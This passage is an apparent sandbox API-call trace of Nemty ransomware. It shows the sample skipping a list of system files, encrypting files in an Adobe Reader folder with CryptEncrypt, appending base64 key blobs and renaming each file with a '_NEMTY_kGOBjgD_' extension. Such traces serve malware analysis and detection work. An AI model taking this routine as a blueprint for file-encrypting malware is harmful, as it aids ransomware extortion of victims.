lpOverlapped=0x0) returned 1 [0193.348] CloseHandle (hObject=0x254) returned 1 [0193.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.348] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.348] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0193.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0193.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.348] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif._nemty_kgobjgd_")) returned 1 [0193.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0193.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.349] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="bl.gif", cAlternateFileName="")) returned 1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2=".") returned 1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2="..") returned 1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2="...") returned 1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2="windows") returned -1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2="rsa") returned -1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2="NTDETECT.COM") returned -1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2="ntldr") returned -1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2="MSDOS.SYS") returned -1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2="IO.SYS") returned -1 [0193.349] lstrcmpiW (lpString1="bl.gif", lpString2="boot.ini") returned -1 [0193.350] lstrcmpiW (lpString1="bl.gif", lpString2="boot.ini") returned -1 [0193.350] lstrcmpiW (lpString1="bl.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.350] lstrcmpiW (lpString1="bl.gif", lpString2="ntuser.dat") returned -1 [0193.350] lstrcmpiW (lpString1="bl.gif", lpString2="desktop.ini") returned -1 [0193.350] lstrcmpiW (lpString1="bl.gif", lpString2="CONFIG.SYS") returned -1 [0193.350] lstrcmpiW (lpString1="bl.gif", lpString2="RECYCLER") returned -1 [0193.350] lstrcmpiW (lpString1="bl.gif", lpString2="BOOTSECT.BAK") returned -1 [0193.350] lstrcmpiW (lpString1="bl.gif", lpString2="bootmgr") returned -1 [0193.350] lstrcmpiW (lpString1="bl.gif", lpString2="programdata") returned -1 [0193.350] lstrcmpiW (lpString1="bl.gif", lpString2="appdata") returned 1 [0193.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bl.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bl.gif", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bl.gif", lpUsedDefaultChar=0x0) returned 6 [0193.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bl.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bl.gif", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bl.gif", lpUsedDefaultChar=0x0) returned 6 [0193.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bl.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bl.gif", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bl.gif", lpUsedDefaultChar=0x0) returned 6 [0193.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bl.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bl.gif", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bl.gif", lpUsedDefaultChar=0x0) returned 6 [0193.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.350] Sleep (dwMilliseconds=0x5) [0193.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26e5f7d0, dwHighDateTime=0x1d561e8)) [0193.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26e5f7d0, dwHighDateTime=0x1d561e8)) [0193.360] GetLastError () returned 0x0 [0193.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.360] GetLastError () returned 0x0 [0193.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.360] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.360] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.360] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.360] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="7QU+jnouf6mgpXGUsi2b7YdRZnHQQcqBlVRRnnJzpVn0De633WGoR4APASnMDjhH\r\nr6dUOkoP1nclywOfwAW5VhJKE140wNP8DJfMnOW3bFLjRO1bGPvSaRPC1OYEvmlL\r\njuNP4Mr06CSpDKlJI3uxxywI6/BsGsjFmNmhm948qOSQxvBaGNdmnrYfQ8F6iL1A\r\nenLCIrAt4zNjgM2N93lgYcDU6AQeJV7FIjVi4DG28AIBYjJ3EBBaTO9+qYjI4RLW\r\nRMeyUsN5sLb8ljyE5DyY38RFHwsT2yhogTFIXfAII2DvXHC1vGezuC4xal9B0Vgg\r\ncBcUeOm53artuIkkDlHRaw==\r\n", pcchString=0x653e91c) returned 1 [0193.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.362] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=83) returned 1 [0193.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94398 [0193.362] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.362] ReadFile (in: hFile=0x254, lpBuffer=0x4f94398, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x4f94398*, lpNumberOfBytesRead=0x653eb64*=0x50, lpOverlapped=0x0) returned 1 [0193.363] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.363] WriteFile (in: hFile=0x254, lpBuffer=0x4f94398*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94398*, lpNumberOfBytesWritten=0x653eb5c*=0x50, lpOverlapped=0x0) returned 1 [0193.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0193.363] SetFilePointer (in: hFile=0x254, lDistanceToMove=83, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x53 [0193.363] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.363] CloseHandle (hObject=0x254) returned 1 [0193.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94398 [0193.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0193.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0193.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.363] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif._nemty_kgobjgd_")) returned 1 [0193.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0193.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0193.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.364] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="br.gif", cAlternateFileName="")) returned 1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2=".") returned 1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="..") returned 1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="...") returned 1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="windows") returned -1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="rsa") returned -1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="NTDETECT.COM") returned -1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="ntldr") returned -1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="MSDOS.SYS") returned -1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="IO.SYS") returned -1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="boot.ini") returned 1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="boot.ini") returned 1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.364] lstrcmpiW (lpString1="br.gif", lpString2="ntuser.dat") returned -1 [0193.365] lstrcmpiW (lpString1="br.gif", lpString2="desktop.ini") returned -1 [0193.365] lstrcmpiW (lpString1="br.gif", lpString2="CONFIG.SYS") returned -1 [0193.365] lstrcmpiW (lpString1="br.gif", lpString2="RECYCLER") returned -1 [0193.365] lstrcmpiW (lpString1="br.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.365] lstrcmpiW (lpString1="br.gif", lpString2="bootmgr") returned 1 [0193.365] lstrcmpiW (lpString1="br.gif", lpString2="programdata") returned -1 [0193.365] lstrcmpiW (lpString1="br.gif", lpString2="appdata") returned 1 [0193.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="br.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="br.gif", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="br.gif", lpUsedDefaultChar=0x0) returned 6 [0193.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="br.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="br.gif", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="br.gif", lpUsedDefaultChar=0x0) returned 6 [0193.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="br.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="br.gif", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="br.gif", lpUsedDefaultChar=0x0) returned 6 [0193.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="br.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="br.gif", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="br.gif", lpUsedDefaultChar=0x0) returned 6 [0193.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.365] Sleep (dwMilliseconds=0x5) [0193.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26e85930, dwHighDateTime=0x1d561e8)) [0193.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26e85930, dwHighDateTime=0x1d561e8)) [0193.377] GetLastError () returned 0x0 [0193.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.377] GetLastError () returned 0x0 [0193.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.378] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.378] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.378] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.378] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="/D+/ml49Qj4wTf5YCFrtVuMjswB//8Ia5+gdm/tR2calyAuENYtRyyzF6JLTaiyP\r\nlx2V7uswBx3WML8xFQddumdXnXYEuL/LFN37j4qQ+9uCRmMAyY//TC4kvj4Hpcm9\r\nTtbIT4qTyoE4wRHFya1Sp5b5j0VDK84XfklsEZ6tsbio8p61enPfP9a5+5hKbb4l\r\nKZZt0DSVsJSC0sM9dw+ZYw3BBqXtjfbe7P86qVYIZPmcyYIj/MCB5+OHBLhejCSk\r\nFFq2mviywWe8N6m+EEZxSx5SyY92c92DEKBNvceRMR+VtBiLusasT2pTUd/racXa\r\nORfOZWMQ2Rh1OcN5HsOagQ==\r\n", pcchString=0x653e91c) returned 1 [0193.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.379] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=82) returned 1 [0193.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94398 [0193.379] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.379] ReadFile (in: hFile=0x254, lpBuffer=0x4f94398, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x4f94398*, lpNumberOfBytesRead=0x653eb64*=0x50, lpOverlapped=0x0) returned 1 [0193.381] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.381] WriteFile (in: hFile=0x254, lpBuffer=0x4f94398*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94398*, lpNumberOfBytesWritten=0x653eb5c*=0x50, lpOverlapped=0x0) returned 1 [0193.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0193.381] SetFilePointer (in: hFile=0x254, lDistanceToMove=82, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x52 [0193.381] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.381] CloseHandle (hObject=0x254) returned 1 [0193.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94398 [0193.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0193.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0193.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 